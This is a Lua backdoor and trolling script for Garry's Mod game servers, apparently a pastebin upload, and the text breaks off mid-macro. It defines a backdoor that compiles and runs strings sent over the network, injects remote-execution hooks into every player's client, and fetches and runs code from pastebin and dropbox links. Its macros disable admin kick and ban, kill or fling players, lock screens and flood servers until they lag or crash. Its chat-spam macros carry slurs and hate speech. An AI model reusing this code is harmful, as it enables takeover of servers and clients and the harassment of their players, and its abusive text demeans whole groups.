· 7 years ago · Jan 12, 2019, 03:34 AM
1
2local shitfuckprints = print
3shitfuckprints( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
4
5MsgC (Color( 255, 255, 255 ), [[
6
7 ______________________________________________________________________________________________________________________
8
9 $$ $$$$$$$$$$$$$$$$$ $$$ $$ $$$ $$
10 $$ $$$$$$$$$$$$$$$$$ $$ $ $$ $$ $ $$
11 $$ $$ $$ $ $$ $$ $ $$
12 $$ $$ $$ $ $$ $$ $ $$
13 $$ $$ $$ $ $$ $$ $ $$
14 $$ $$ $$ $ $$ $$ $ $$
15 $$ $$ $$ $ $$ $$ $ $$
16 $$ $$ $$ $ $$ $$ $ $$
17 $$ $$$$$$$$$$$$$$$$$ $$ $ $$ $$ $ $$
18 $$ $$$$$$$$$$$$$$$$$ $$ $ $$ $$ $ $$
19 $$ $$ $$ $ $$ $$ $ $$
20 $$ $$ $$ $ $$ $$ $ $$
21 $$ $$ $$ $ $$ $$ $ $$
22 $$ $$ $$ $ $$ $$ $ $$
23 $$ $$ $$ $ $$ $$ $ $$
24 $$ $$ $$ $ $$ $$ $ $$
25 $$ $$$$$$$$$$$$$$$$$ $$ $ $$ $$ $ $$
26 $$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$ $$ $$$ $$ $$$
27 ______________________________________________________________________________________________________________________
28
29
30
31
32 _______________________________________
33 ||| |||
34 === Cheatgome Backdoor Menu ===
35 ||| By Lenn |||
36 _______________________________________
37
38
39
40
41
42
43
44
45
46
47
48
49 To open this menu type cheatgomebd_Menu in the console.
50 R8 Menu is added. it is everything from exploits to fucking skids up.
51
52
53
54 Change Logs Are Down Here.
55
56
57// Cheatgomebackdoor
58// By Lenn
59
60
61// Change Logs (not all of them of course.) //
62
63// Update V1 > Created backdoor menu. with DISCO BUTTON!!!!!!!!!!!
64
65// Update v1.0.5 > Rearranged texts. did not want them to be cancerous readings
66
67// Update v1.4.0 > Added a retarted idiotbox screengrab paste?
68
69// Update V2 > Added a lot of buttons. customizing chat spams and shit + more syndrome buttons
70
71// Update V2.0.8 > Added DO NOT PRESS THE BUTTON. this was suppose to fuck your screen but instead it spams rainbow texts in the console
72
73// Update v2.1.0 > i assumed anti-cheat detector is added
74
75// Update v2.6.9 > i guess its more like editing buttons and shit
76
77// Update v2.8.9 > added buttons and shit. i guess
78
79// Update v2.9.0 > Removed idiotbox screengrab paste. and replaced it with a simple one line of screengrab blocker
80
81// Update v3.2.5 > Big update. added R8 exploits and backdoor menu into cheatgomebackdoor. and printed text in console.
82
83 ]])
84
85-- END OF PRINTING. FGT
86
87
88
89
90// Cheatgomebackdoor
91// By Lenn
92
93
94// Change Logs (not all of them of course.) //
95
96// Update V1 > Created backdoor menu. with DISCO BUTTON!!!!!!!!!!!
97
98// Update v1.0.5 > Rearranged texts. did not want them to be cancerous readings
99
100// Update v1.4.0 > Added a retarted idiotbox screengrab paste?
101
102// Update V2 > Added a lot of buttons. customizing chat spams and shit + more syndrome buttons
103
104// Update V2.0.8 > Added DO NOT PRESS THE BUTTON. this was suppose to fuck your screen but instead it spams rainbow texts in the console
105
106// Update v2.1.0 > i assumed anti-cheat detector is added
107
108// Update v2.6.9 > i guess its more like editing buttons and shit
109
110// Update v2.8.9 > added buttons and shit. i guess
111
112// Update v2.9.0 > Removed idiotbox screengrab paste. and replaced it with a simple one line of screengrab blocker
113
114// Update v3.2.5 > Big update. added R8 exploits and backdoor menu into cheatgomebackdoor.
115
116
117
118
119
120
121
122
123
124
125
126
127
128 //cheatgome's backdoor (PRIVATED)
129
130//local odium = jit.status( 'ODIUM' ) if !istable(odium) then print('FAILED TO IMPORT ODIUM TABLE') end
131
132local BD = {}
133local h = http
134
135
136BD.Backdoors = BD.Backdoors or {}
137
138BD.CurrentBackdoor = "CheatgomeBD"
139
140
141
142
143BD.BackdoorTypes = {
144
145 ["CheatgomeBD"] = {
146
147 ["Code"] = "util.AddNetworkString( 'CheatgomeBD' ) net.Receive( 'CheatgomeBD', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
148
149 ["Netkey"] = "CheatgomeBD",
150
151 },
152
153}
154
155
156
157local netsss = net.Start
158
159function BD.IsMessagePooled( netmessage )
160
161local netfunc = netsss
162
163local status, error = pcall( netfunc, netmessage )
164
165return status
166
167end
168
169
170
171local net = net
172
173
174
175
176local ctxt = chat.AddText
177
178function BD.ChatText( message, col )
179
180 ctxt( Color(118,247,255,0), "[CheatgomeBD] ", col, message )
181
182end
183
184
185
186function BD.PingBackDoors()
187
188 local bds = {}
189
190 for k, v in pairs(BD.BackdoorTypes) do
191
192 if BD.IsMessagePooled( tostring( v.Netkey ) ) then bds[k] = true end
193
194 end
195
196 return bds
197
198end
199
200concommand.Add("cheatgomebd_refresh_backdoors", function() BD.Backdoors = BD.PingBackDoors() end)
201
202
203
204function BD.BackdoorActive()
205
206 return table.Count( BD.Backdoors ) > 0
207
208end
209
210
211
212function BD.GetActive()
213
214 if !BD.BackdoorTypes[BD.CurrentBackdoor] then return { ["Code"] = "local x = 69", ["Netkey"] = "" } end
215
216 return BD.BackdoorTypes[BD.CurrentBackdoor]
217
218end
219
220-- OVER HERE IS WHERE THE USUAL SCREENGRAB BLOCKER CODE WAS AT. IT IS NOW AT THE END OF THE CODING LOL, because i removed the old one
221
222
223BD.BDMacros ={
224
225
226
227 ["Explode the world"] = {
228
229 ["Type"] = 1,
230
231 ["Code"] = [[if !bombstrike then
232
233 hook.Add("Think", "lulz_bombstrike", function()
234
235 local explode = ents.Create( "env_explosion" )
236
237 local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
238
239 local trc = {}
240
241 trc.start = ps
242
243 trc.endpos = ps + Vector( 0, 0, -99999)
244
245 local tr = util.TraceLine(trc)
246
247 if !tr.Hit then return end
248
249 explode:SetPos( tr.HitPos )
250
251 explode:Spawn()
252
253 explode:SetKeyValue( "iMagnitude", "400" )
254
255 explode:Fire( "Explode", 0, 0 )
256
257 end)
258
259 bombstrike = true
260
261 else
262
263 hook.Remove("Think", "lulz_bombstrike")
264
265 bombstrike = false
266
267 end]],
268
269 ["Desc"] = "BLOW UP EVERYTHING SO THE CUNTS GET BLUNT MAD xD",
270
271 },
272
273
274
275
276
277 ["@ Inject SendLua Interface"] = {
278
279 ["Type"] = 1,
280
281 ["Code"] = [[
282
283 util.AddNetworkString( "cucked" )
284
285 function BDSendLua( p, str ) net.Start( "cucked" ) net.WriteString( str ) net.Send( p ) end
286
287 function BDSendLuaAll( str ) net.Start( "cucked" ) net.WriteString( str ) net.Broadcast() end
288
289 function BDInjectAids( p ) p:SendLua( 'net.Receive( "cucked", function() RunString( net.ReadString() ) end )' ) end
290
291 for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
292
293 hook.Add( "PlayerInitialSpawn", "youonlygetcuckedagain", function( p ) BDInjectAids( p ) end)
294
295 ]],
296
297 ["Desc"] = "You need this to use certain macros",
298
299 },
300
301
302
303 ["Announcement Text"] = {
304
305 ["Type"] = 1,
306
307 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
308
309 ["Desc"] = "Make an edited announcement text in the middle of everyones screen",
310
311 ["NeedsParameters"] = 1,
312
313 },
314
315 ["Timer Create Failed Button"] = {
316
317 ["Type"] = 1,
318
319 ["Code"] = [[timer.Simple( 1, function() BD.ChatText( "===> Update Logs As Of October 6 2018 <===", Color(108,236,255) ) end )
320
321 timer.Simple( 2, function() BD.ChatText( "Update v1 > Created the backdoor menu. With the DISCO button", Color(108,236,255) ) end )
322
323 timer.Simple( 3, function() BD.ChatText( "Update v1.0.5 > Rearranged some texts", Color(108,236,255) ) end )
324
325 timer.Simple( 4, function() BD.ChatText( "Update v2 > Added a lot of buttons. Customizing chat spams and some repeating sounds ", Color(108,236,255) ) end )
326
327 timer.Simple( 5, function() BD.ChatText( "Update v2.0.8 > Added DO NOT PRESS THE BUTTON. Doesn't really do anything", Color(108,236,255) ) end )
328
329 timer.Simple( 6, function() BD.ChatText( "{LATEST VERSION} > Added the Update Status Checker and buffed the injection process. ", Color(108,236,255) ) end )
330
331 timer.Simple( 7, function() BD.ChatText( "===> End of the Logs <===", Color(108,236,255) ) end )
332
333 timer.Simple( 8, function() BD.ChatText( "===> End of the Logs <===", Color(108,236,255) ) end )
334
335 timer.Simple( 9, function() BD.ChatText( "===> End of the Logs <===", Color(108,236,255) ) end )
336
337 timer.Simple( 10, function() BD.ChatText( "===> End of the Logs <===", Color(108,236,255) ) end )
338
339 timer.Simple( 11, function() BD.ChatText( "===> End of the Logs <===", Color(108,236,255) ) end )
340
341 timer.Simple( 12, function() BD.ChatText( "===> End of the Logs <===", Color(108,236,255) ) end )]],
342
343 ["Desc"] = "Just creates a error message. nothing serious",
344
345 },
346
347
348
349 ["Rainbow chat spam (SLOW)"] = {
350
351 ["Type"] = 1,
352
353 ["Code"] = [[
354
355 if !timer.Exists( "lulz_chatspam" ) then
356
357 timer.Create( "lulz_chatspam", 1.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
358
359 else
360
361 timer.Remove( "lulz_chatspam" )
362
363 end]],
364
365 ["Desc"] = "Spam's the edited chat in the 1st parmeter every 1 second,",
366
367 ["NeedsParameters"] = 1,
368
369 },
370
371 ["Rainbow chat spam (NORMAL)"] = {
372
373 ["Type"] = 1,
374
375 ["Code"] = [[
376
377 if !timer.Exists( "lulz_chatspam" ) then
378
379 timer.Create( "lulz_chatspam", 0.5, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
380
381 else
382
383 timer.Remove( "lulz_chatspam" )
384
385 end]],
386
387 ["Desc"] = "Spam's the edited chat in the 1st parmeter every 1 second,",
388
389 ["NeedsParameters"] = 1,
390
391 },
392
393 ["Raise The Hell"] = {
394
395 ["Type"] = 1,
396
397 ["Code"] = [[http.Fetch( "https://pastebin.com/raw/3ChEC5Pr", function( b,l,h,c ) RunString( b ) end, function() end )]],
398
399 ["Desc"] = "OH GOD THE DEVIL IS BEYON US",
400
401 },
402
403 ["Rainbow chat spam (FAST)"] = {
404
405 ["Type"] = 1,
406
407 ["Code"] = [[
408
409 if !timer.Exists( "lulz_chatspam" ) then
410
411 timer.Create( "lulz_chatspam", 0.15, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
412
413 else
414
415 timer.Remove( "lulz_chatspam" )
416
417 end]],
418
419 ["Desc"] = "Spam's the edited chat in the 1st parmeter every 0.15 second, (Could lag if you chat)",
420
421 ["NeedsParameters"] = 1,
422
423 },
424
425 ["Rainbow chat spam (FASTER)"] = {
426
427 ["Type"] = 1,
428
429 ["Code"] = [[
430
431 if !timer.Exists( "lulz_chatspam" ) then
432
433 timer.Create( "lulz_chatspam", 0.07, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
434
435 else
436
437 timer.Remove( "lulz_chatspam" )
438
439 end]],
440
441 ["Desc"] = "Spam's the edited chat in the 1st parmeter every 0.07 second, (Could lag if you chat)",
442
443 ["NeedsParameters"] = 1,
444
445 },
446
447
448
449 ["Rainbow chat spam (Turbo)"] = {
450
451 ["Type"] = 1,
452
453 ["Code"] = [[
454
455 if !timer.Exists( "lulz_chatspam" ) then
456
457 timer.Create( "lulz_chatspam", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
458
459 else
460
461 timer.Remove( "lulz_chatspam" )
462
463 end]],
464
465 ["Desc"] = "Spam's rainbow chat FURIOUSLY every 0.01 seconds, (WARN): It might lag your game if you try to chat",
466
467 ["NeedsParameters"] = 1,
468
469},
470
471
472
473
474 ["RAPE EVERYONES SCREEN"] = {
475
476 ["Type"] = 1,
477
478 ["Code"] = [[
479
480 if !timer.Exists( "lulz_fukscream" ) then
481
482 timer.Create( "lulz_fukscream", 0.10, 0, function() for k, v in pairs(player.GetAll()) do RunConsoleCommand("pp_texturize", models/shit") end)
483
484 else
485
486 timer.Remove( "lulz_fukscream" )
487
488 end]],
489
490 ["Desc"] = "causes everyone's screen to have missing textures, this map sux, fix ur screen idiot",
491
492
493},
494
495
496 ["Advertise Cheatgome Spam"] = {
497
498 ["Type"] = 1,
499
500 ["Code"] = [[
501
502 if !timer.Exists( "geturshit" ) then
503
504 timer.Create( "geturshit", 1, 0, function() RunConsoleCommand("say", "FAGGOTS GET CHEATGOME AT https://pastebin.com/tJy3DR80 BITCH") end)
505
506 else
507
508 timer.Remove( "geturshit" )
509
510 end]],
511
512 ["Desc"] = "Advertises cheatgome in a pissed off way",
513
514 },
515
516 ["Insult Spam"] = {
517
518 ["Type"] = 1,
519
520 ["Code"] = [[
521
522 if !timer.Exists( "ihateualready" ) then
523
524 timer.Create( "ihateualready", 1, 0, function() RunConsoleCommand("say", "SHUT THE FUCK UP AND DIE IN FOSTER CARE YOU MULISM PUSSY FUCKING CHINKED COCKED FAT'S MAN") end)
525
526 else
527
528 timer.Remove( "ihateualready" )
529
530 end]],
531
532 ["Desc"] = "Insults and spams in a offensive way.",
533
534 },
535
536
537 ["Spread The Meme Spam"] = {
538
539 ["Type"] = 1,
540
541 ["Code"] = [[
542
543 if !timer.Exists( "thememes" ) then
544
545 timer.Create( "thememes", 1, 0, function() RunConsoleCommand("say", "say the n word as many times as possible and ill let u out :^)") end)
546
547 else
548
549 timer.Remove( "thememes" )
550
551 end]],
552
553 ["Desc"] = "Spams a meme spreading towards the potato servers from murder. lol, CREDITS TO NANNERS",
554
555 },
556
557
558 ["Unlock all doors"] = {
559
560 ["Type"] = 1,
561
562 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
563
564 ["Desc"] = "Unlocks all doors such as HL2 ones, And darkrp ones,",
565
566 },
567
568
569
570 ["Toggle all doors"] = {
571
572 ["Type"] = 1,
573
574 ["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]],
575
576 ["Desc"] = "Burn all of the doors on fire. Pisses off the people trying to rent it",
577
578 },
579
580
581 ["Down Syndrome Rebel Rape"] = {
582
583 ["Type"] = 1,
584
585 ["Code"] = [[
586
587 if !timer.Exists( "A true rebel rape" ) then
588
589 timer.Create( "A true rebel rape", 0.2, 0, function()
590
591 for _, p in pairs(player.GetAll()) do
592
593 p:EmitSound( "vo/npc/female01/gordead_ans0"..math.random(1,9)..".wav", 100, math.random( 40, 180 ) )
594
595 end
596
597 end)
598
599 else
600
601 timer.Remove( "A true rebel rape" )
602
603 end]],
604
605 ["Desc"] = "When the rebel's have cancer and talk in there mic",
606
607 },
608
609 ["Down Syndrome Crow Rape"] = {
610
611 ["Type"] = 1,
612
613 ["Code"] = [[
614
615 if !timer.Exists( "A true crow" ) then
616
617 timer.Create( "A true crow", 0.2, 0, function()
618
619 for _, p in pairs(player.GetAll()) do
620
621 p:EmitSound( "npc/crow/alert"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
622
623 end
624
625 end)
626
627 else
628
629 timer.Remove( "A true crow" )
630
631 end]],
632
633 ["Desc"] = "CLAK CLAK CROW CROW CLAAAAAK CROW CROW WAAAZ",
634
635 },
636
637
638 ["Down Syndrome Moan Rape"] = {
639
640 ["Type"] = 1,
641
642 ["Code"] = [[
643
644 if !timer.Exists( "A true moan experience" ) then
645
646 timer.Create( "A true moan experience", 0.2, 0, function()
647
648 for _, p in pairs(player.GetAll()) do
649
650 p:EmitSound( "vo/npc/female01/pain0"..math.random(1,9)..".wav", 100, math.random( 40, 180 ) )
651
652 end
653
654 end)
655
656 else
657
658 timer.Remove( "A true moan experience" )
659
660 end]],
661
662 ["Desc"] = "This is what happens when you have sex for too much hours",
663
664 },
665
666 ["Down Syndrome Zombie Rape"] = {
667
668 ["Type"] = 1,
669
670 ["Code"] = [[
671
672 if !timer.Exists( "A true master blood" ) then
673
674 timer.Create( "A true master blood", 0.2, 0, function()
675
676 for _, p in pairs(player.GetAll()) do
677
678 p:EmitSound( "npc/zombie/zombie_voice_idle"..math.random(1,9)..".wav", 100, math.random( 40, 180 ) )
679
680 end
681
682 end)
683
684 else
685
686 timer.Remove( "A true master blood" )
687
688 end]],
689
690 ["Desc"] = "YEAAAAAH BOIIIIIIIIIIIII NOAAAAAAUGH RAAAAAAWR AAUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUGHHHHH",
691
692 },
693
694 ["Down Syndrome Glass Rape"] = {
695
696 ["Type"] = 1,
697
698 ["Code"] = [[
699
700 if !timer.Exists( "A true masterpiece" ) then
701
702 timer.Create( "A true masterpiece", 0.2, 0, function()
703
704 for _, p in pairs(player.GetAll()) do
705
706 p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
707
708 end
709
710 end)
711
712 else
713
714 timer.Remove( "A true masterpiece" )
715
716 end]],
717
718 ["Desc"] = "Play glass sounds every 0.2 seconds so the server crushes hard asf",
719
720 },
721
722
723
724 ["YEA YEA YEA Sounds"] = {
725
726 ["Type"] = 1,
727
728 ["Code"] = [[
729
730 if !timer.Exists( "porn" ) then
731
732 timer.Create( "porn", 0.3, 0, function()
733
734 for _, p in pairs(player.GetAll()) do
735
736 p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
737
738 end
739
740 end)
741
742 else
743
744 timer.Remove( "porn" )
745
746 end]],
747
748 ["Desc"] = "Very great if you wanna have sex with your ear drums",
749
750 },
751
752
753
754 ["Play the civil war"] = {
755
756 ["Type"] = 1,
757
758 ["Code"] = [[
759
760 if !timer.Exists( "cwar" ) then
761
762 timer.Create( "cwar", 1, 0, function()
763
764 for _, p in pairs(player.GetAll()) do
765
766 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
767
768 end
769
770 end)
771
772 else
773
774 timer.Remove( "cwar" )
775
776 end]],
777
778 ["Desc"] = "Very great for battling and VIOLATING THE LAW",
779
780 },
781
782
783
784 ["Earthquake Cucked"] = {
785
786 ["Type"] = 1,
787
788 ["Code"] = [[
789
790 if !timer.Exists( "earthquake" ) then
791
792 timer.Create( "earthquake", 0.5, 500, function()
793
794 for _, p in pairs(player.GetAll()) do
795
796 p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
797
798 p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
799
800 util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
801
802 p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
803
804 end
805
806
807
808 for _, e in pairs(ents.GetAll()) do
809
810 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
811
812 end
813
814
815
816
817
818 end)
819
820 else
821
822 timer.Remove( "earthquake" )
823
824 end]],
825
826 ["Desc"] = "Shake your screen, While everything else shakes like a 30 years old man",
827
828 },
829
830
831
832 ["Seized by cheatgome :^)"] = {
833
834 ["Type"] = 1,
835
836 ["Code"] = [[
837
838 hook.Add("PlayerInitialSpawn", "gw_siezed", function( ply ) ply:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "https://www.youtube.com/embed/HgotWCaXdWI?rel=0&controls=0&showinfo=0&autoplay=1" )') end)
839
840 for k, v in pairs(player.GetAll()) do
841
842 v:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "https://www.youtube.com/embed/HgotWCaXdWI?rel=0&controls=0&showinfo=0&autoplay=1" )')
843
844 end]],
845
846
847 ["Desc"] = "Your servers are hacked. There encrypted now. just shows a hacked screen",
848
849 },
850
851
852
853 ["Project Odium"] = {
854
855 ["Type"] = 1,
856
857 ["Code"] = [[
858
859 hook.Add("PlayerInitialSpawn", "gw_siezed", function( ply ) ply:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "https://www.youtube.com/embed/WN07JxQScHs?rel0&autoplay=1" )') end)
860
861 for k, v in pairs(player.GetAll()) do
862
863 v:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "https://www.youtube.com/embed/WN07JxQScHs?rel0&autoplay=1" )')
864
865 end]],
866
867
868 ["Desc"] = "contrubitings to odium leaked. sad day has comed, rip project odium",
869
870},
871
872
873 ["Project Odium 2"] = {
874
875 ["Type"] = 1,
876
877 ["Code"] = [[
878
879 hook.Add("PlayerInitialSpawn", "gw_siezed", function( ply ) ply:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "https://odium.pro" )') end)
880
881 for k, v in pairs(player.GetAll()) do
882
883 v:SendLua('local html = vgui.Create( "HTML" )html:SetSize( ScrW(), ScrH() )html:OpenURL( "https://odium.pro" )')
884
885 end]],
886
887
888 ["Desc"] = "contrubitings to odium leaked. sad day has comed, rip project odium",
889
890 },
891
892
893 ["Explode all of the vehicles"] = {
894
895 ["Type"] = 1,
896
897 ["Code"] = [[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
898
899 local explo = ents.Create("env_explosion")
900
901 explo:SetPos(v:GetPos())
902
903 explo:SetKeyValue("iMagnitude", "300")
904
905 explo:Spawn()
906
907 explo:Activate()
908
909 explo:Fire("Explode", "", 0)
910
911 end
912
913 end]],
914
915 ["Desc"] = "Blow up the god damn vehicles a lot to troll em drivers",
916
917 },
918
919
920
921 ["Bypass RCON command"] = {
922
923 ["Type"] = 1,
924
925 ["Code"] = [[game.ConsoleCommand( @1.."\n" )]],
926
927 ["Desc"] = "If the server has a NETKey backdoor, Then you should able to add yourself by just using this RCON bypasser!",
928
929 },
930
931
932 ["Disco Fucked"] = {
933
934 ["Type"] = 1,
935
936 ["Code"] = [[http.Fetch( "https://pastebin.com/raw/MQjrnS8M", function( b,l,h,c ) RunString( b ) end, function() end )]],
937
938 ["Desc"] = "Play disco in front of everyones face xD > 420 MLG SHIT > underdoneRPG disco )",
939
940 },
941
942
943 ["Anime Disco"] = {
944
945 ["Type"] = 1,
946
947 ["Code"] = [[http.Fetch( "https://pastebin.com/raw/HRqY1RBR", function( b,l,h,c ) RunString( b ) end, function() end )]],
948
949 ["Desc"] = "Why not? lol btw u need the LLenn playermodels to not see errors dancing )",
950
951
952 },
953
954
955
956["Underdone RPG Disco"] = {
957
958 ["Type"] = 1,
959
960 ["Code"] = [[http.Fetch( "https://pastebin.com/raw/LKCt5bw1", function( b,l,h,c ) RunString( b ) end, function() end )]],
961
962 ["Desc"] = "Underdone RPG Disco.",
963
964 },
965
966 ["Fun Functions (Deadly)"] = {
967
968 ["Type"] = 1,
969
970 ["Code"] = [[http.Fetch( "https://pastebin.com/raw/S3wyyqhe", function( b,l,h,c ) RunString( b ) end, function() end )]],
971
972 ["Desc"] = "Team orbit's runstring helpme commands. Usually used by odium as well",
973
974 },
975
976 ["DO NOT PRESS THE BUTTON"] = {
977
978 ["Type"] = 1,
979
980 ["Code"] = [[http.Fetch( "https://pastebin.com/raw/Ksqy8Wni", function( b,l,h,c ) RunString( b ) end, function() end )]],
981
982 ["Desc"] = "PRESS THE BUTTON NOW",
983
984 },
985
986
987
988 ["Hellstart/Hellend"] = {
989
990 ["Type"] = 1,
991
992 ["Code"] = [[http.Fetch( "https://www.dropbox.com/s/bmh3nwfi36adt69/Team_orbit.zip?dl=0&file_subpath=%2FTeam+orbit%2Fhell.lua", function( b,l,h,c ) RunString( b ) end, function() end )]],
993
994 ["Desc"] = "Hell from magic rewrite's 2. And from team orbit, Originally used from helpme commands.",
995
996 },
997
998
999 ["Break the ULX Kick and Ban function"] = {
1000
1001 ["Type"] = 1,
1002
1003 ["Code"] = [[ULib.Ban = function() return false end
1004
1005 ULib.addBan = function() return end
1006
1007 ULib.kick = function() return end]],
1008
1009 ["Desc"] = "If someone attempts to kick or ban you, It displays it in chat, But it actually does not work functionally",
1010
1011 },
1012
1013
1014
1015
1016
1017
1018
1019------------------------ player targeted macros ------------------------
1020
1021
1022
1023 ["Kill player"] = {
1024
1025 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
1026
1027 ["Code"] = [[v:Kill()]],
1028
1029 ["Desc"] = "Kill the person that your targetting at",
1030
1031 },
1032
1033
1034
1035 ["Knock the players weapon"] = {
1036
1037 ["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
1038
1039 ["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
1040
1041 ["Desc"] = "Blow shot there weapon out of there hands using Luke's 9000 bass junkbox",
1042
1043 },
1044
1045
1046
1047 ["Strip Peoples Weapons"] = {
1048
1049 ["Type"] = 2,
1050
1051 ["Code"] = [[v:StripWeapons()]],
1052
1053 ["Desc"] = "Remove or strip peoples weapons they are using so they disappear and they need to find a new one",
1054
1055 },
1056
1057
1058
1059 ["Blow Fuck a person"] = {
1060
1061 ["Type"] = 2,
1062
1063 ["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
1064
1065 ["Desc"] = "I CAN BELEVE I CAN FLYYY > You just go straight in the air and die",
1066
1067 },
1068
1069
1070
1071 ["Blow fuck a person harder"] = {
1072
1073 ["Type"] = 2,
1074
1075 ["Code"] = [[v:SetVelocity( Vector(math.random( -9000, 9000), math.random( -9000, 9000), 9000) )]],
1076
1077 ["Desc"] = "OH SHIT WHAT THE FUQ IS GOING ON",
1078
1079 },
1080
1081
1082
1083 ["Exchange Playermodels"] = {
1084
1085 ["Type"] = 2,
1086
1087 ["Code"] = [[v:SetModel( @1 )]],
1088
1089 ["Desc"] = "Set their player model to the specified string (1st paremeter)",
1090
1091 ["NeedsParameters"] = 1,
1092
1093 },
1094
1095
1096
1097 ["Set players HP/Armor"] = {
1098
1099 ["Type"] = 2,
1100
1101 ["Code"] = [[v:SetHealth( @1 ) v:SetArmor( @2 ) ]],
1102
1103 ["Desc"] = "Sets their health (1st paremeter) and armor (2nd paremeter)",
1104
1105 ["NeedsParameters"] = 2,
1106
1107 },
1108
1109
1110
1111 ["Play some ear rape"] = {
1112
1113 ["Type"] = 2,
1114
1115 ["Code"] = [[
1116
1117 local snd = {
1118
1119 [1] = "npc/stalker/go_alert2a.wav",
1120
1121 [2] = "vo/npc/male01/question06.wav",
1122
1123 [3] = "ambient/energy/zap1.wav",
1124
1125 [4] = "weapons/knife/knife_stBD.wav",
1126
1127 [5] = "vo/ravenholm/madlaugh04.wav",
1128
1129 [6] = "npc/antlion_guard/antlion_guard_die1.wav",
1130
1131 [7] = "vo/breencast/br_collaboration01.wav,"
1132
1133 }
1134
1135 v:EmitSound( snd[tonumber(@1)], 100, 100 )
1136
1137 ]],
1138
1139 ["Desc"] = "Make them emit a sound (1st paremeter is a number 1-7)",
1140
1141 ["NeedsParameters"] = 1,
1142
1143 },
1144
1145
1146
1147 ["Ear rape (from internet)"] = {
1148
1149 ["Type"] = 2,
1150
1151 ["Code"] = [[
1152
1153 BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
1154
1155 ]],
1156
1157 ["Desc"] = "Make them hear a sound from a URL (1st paremeter). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
1158
1159 ["NeedsParameters"] = 1,
1160
1161 },
1162
1163
1164
1165 ["Eye rape (from internet)"] = {
1166
1167 ["Type"] = 2,
1168
1169 ["Code"] = [[
1170
1171 BDSendLua( v, 'if bdeyerape then bdeyerape:Remove() bdeyerape = nil return end bdeyerape = vgui.Create( "DFrame" )bdeyerape:SetDraggable( false )bdeyerape:SetSize( ScrW(), ScrH() )bdeyerape:SetTitle( "" )bdeyerape:ShowCloseButton( false )local html = vgui.Create( "HTML", bdeyerape )html:Dock( FILL )html:OpenURL( @1 )' )
1172
1173 ]],
1174
1175 ["Desc"] = "Make them see a full screen, unclosable panel from a URL (1st paremeter). Sending a new url will stop the previous one. Send an invalid url to clear their view entirely",
1176
1177 ["NeedsParameters"] = 1,
1178
1179 },
1180
1181
1182
1183 ["Play Rave"] = {
1184
1185 ["Type"] = 2,
1186
1187 ["Code"] = [[
1188 BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 50 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
1189 ]],
1190
